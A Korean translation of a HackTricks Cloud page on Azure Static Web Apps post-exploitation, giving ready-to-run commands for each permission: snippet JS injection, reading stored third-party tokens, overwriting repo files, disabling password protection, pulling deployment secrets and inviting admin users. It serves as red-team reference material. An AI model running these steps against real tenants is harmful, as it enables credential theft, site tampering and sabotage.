Az - Static Web Apps Post Exploitation
Reading time: 9 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure Static Web Apps
이 서비스에 대한 자세한 정보는 다음을 확인하세요:
Microsoft.Web/staticSites/snippets/write
정적 웹 페이지가 임의의 HTML 코드를 로드하도록 스니펫을 생성할 수 있습니다. 이를 통해 공격자는 웹 앱 내부에 JS 코드를 주입하고 자격 증명이나 암호화 키(웹3 지갑에서)와 같은 민감한 정보를 탈취할 수 있습니다.
다음 명령은 웹 앱에 항상 로드될 스니펫을 생성합니다::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
구성된 제3자 자격 증명 읽기
App Service 섹션에서 설명한 바와 같이:
다음 명령을 실행하면 현재 계정에 구성된 제3자 자격 증명을 읽을 수 있습니다. 예를 들어, 다른 사용자에 구성된 Github 자격 증명이 있는 경우, 다른 사용자로부터 토큰에 접근할 수 없습니다.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 토큰을 반환합니다.
여기 토큰을 확인하기 위한 몇 가지 명령 예제가 있습니다:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
파일 덮어쓰기 - 경로, HTML, JS 덮어쓰기...
Azure를 통해 Github repo 내의 파일을 덮어쓸 수 있으며, 이는 Github token을 사용하여 다음과 같은 요청을 보내 파일의 경로, 파일 내용 및 커밋 메시지를 지정할 수 있습니다.
공격자는 이를 악용하여 기본적으로 웹 앱의 내용을 변경하여 악성 콘텐츠를 제공하거나(자격 증명, 니모닉 키 도용 등) staticwebapp.config.json
파일을 덮어써서 특정 경로를 자신의 서버로 재배치할 수 있습니다.
warning
공격자가 어떤 방식으로든 Github repo를 손상시키면, Github에서 직접 파일을 덮어쓸 수 있다는 점에 유의하십시오.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
이 권한을 사용하면 정적 웹 앱을 보호하는 비밀번호를 수정하거나 다음과 같은 요청을 보내 모든 환경의 보호를 해제할 수 있습니다:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
이 권한은 정적 앱에 대한 API 키 배포 토큰을 가져올 수 있게 해줍니다:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
그런 다음 토큰을 사용하여 앱을 업데이트하려면 다음 명령을 실행할 수 있습니다. 이 명령은 Github Action https://github.com/Azure/static-web-apps-deploy 작동 방식을 확인하여 추출된 것으로, Azure에서 기본적으로 사용하도록 설정한 것입니다. 따라서 이미지와 매개변수는 미래에 변경될 수 있습니다.
tip
앱을 배포하려면 https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token에서 swa
도구를 사용하거나 다음의 원시 단계를 따르세요:
- 리포지토리 https://github.com/staticwebdev/react-basic (또는 배포하려는 다른 리포지토리)를 다운로드하고
cd react-basic
을 실행합니다. - 배포하려는 코드를 변경합니다.
- (변경할
<api-token>
을 기억하세요) 실행하여 배포합니다:
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
warning
토큰이 있더라도 Deployment Authorization Policy가 Github로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방법을 API 토큰을 사용하도록 변경할 수 있는 권한 Microsoft.Web/staticSites/write
가 필요합니다.
Microsoft.Web/staticSites/write
이 권한을 사용하면 정적 웹 앱의 소스를 다른 Github 리포지토리로 변경할 수 있지만, 이는 Github Action에서 수행해야 하므로 자동으로 프로비저닝되지 않습니다.
그러나 Deployment Authorization Policy가 Github로 설정되어 있으면 새 소스 리포지토리에서 앱을 업데이트할 수 있습니다!.
Deployment Authorization Policy가 Github로 설정되어 있지 않은 경우, 동일한 권한 Microsoft.Web/staticSites/write
로 변경할 수 있습니다.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
앱을 배포하기 위한 예제 Github Action:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
이 권한을 사용하면 정적 웹 앱의 API 키를 재설정하여 앱을 자동으로 배포하는 워크플로우를 잠재적으로 DoS할 수 있습니다.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
이 권한은 특정 역할을 가진 사용자가 정적 웹 앱 내의 보호된 경로에 접근할 수 있도록 초대장을 생성할 수 있게 해줍니다.
로그인은 /.auth/login/github
(github의 경우) 또는 /.auth/login/aad
(Entra ID의 경우)와 같은 경로에 위치하며, 사용자는 다음 명령어로 초대될 수 있습니다:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
기본적으로 동일한 리포지토리의 브랜치에서 Pull Requests는 자동으로 컴파일되고 스테이징 환경에서 빌드됩니다. 이는 리포지토리에 대한 쓰기 권한이 있는 공격자가 생산 브랜치(보통 main
)의 브랜치 보호를 우회할 수 없지만 악성 버전의 앱을 배포하기 위해 악용될 수 있습니다.
스테이징 URL의 형식은 다음과 같습니다: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>
예: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
tip
기본적으로 외부 PR은 리포지토리에 최소 1개의 PR이 병합되지 않는 한 워크플로우를 실행하지 않습니다. 공격자는 리포지토리에 유효한 PR을 보내고 그런 다음 악성 PR을 리포지토리에 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. 그러나 예상치 못한 보호가 있습니다. 정적 웹 앱에 배포하기 위한 기본 Github Action은 배포 토큰을 포함하는 비밀에 대한 액세스가 필요합니다(예: secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F
), 배포가 IDToken으로 수행되더라도 말입니다. 이는 외부 PR이 이 비밀에 접근할 수 없고 외부 PR이 PR이 수락되지 않고 임의의 토큰을 여기에 배치하기 위해 워크플로우를 변경할 수 없기 때문에 이 공격은 실제로 작동하지 않을 것입니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.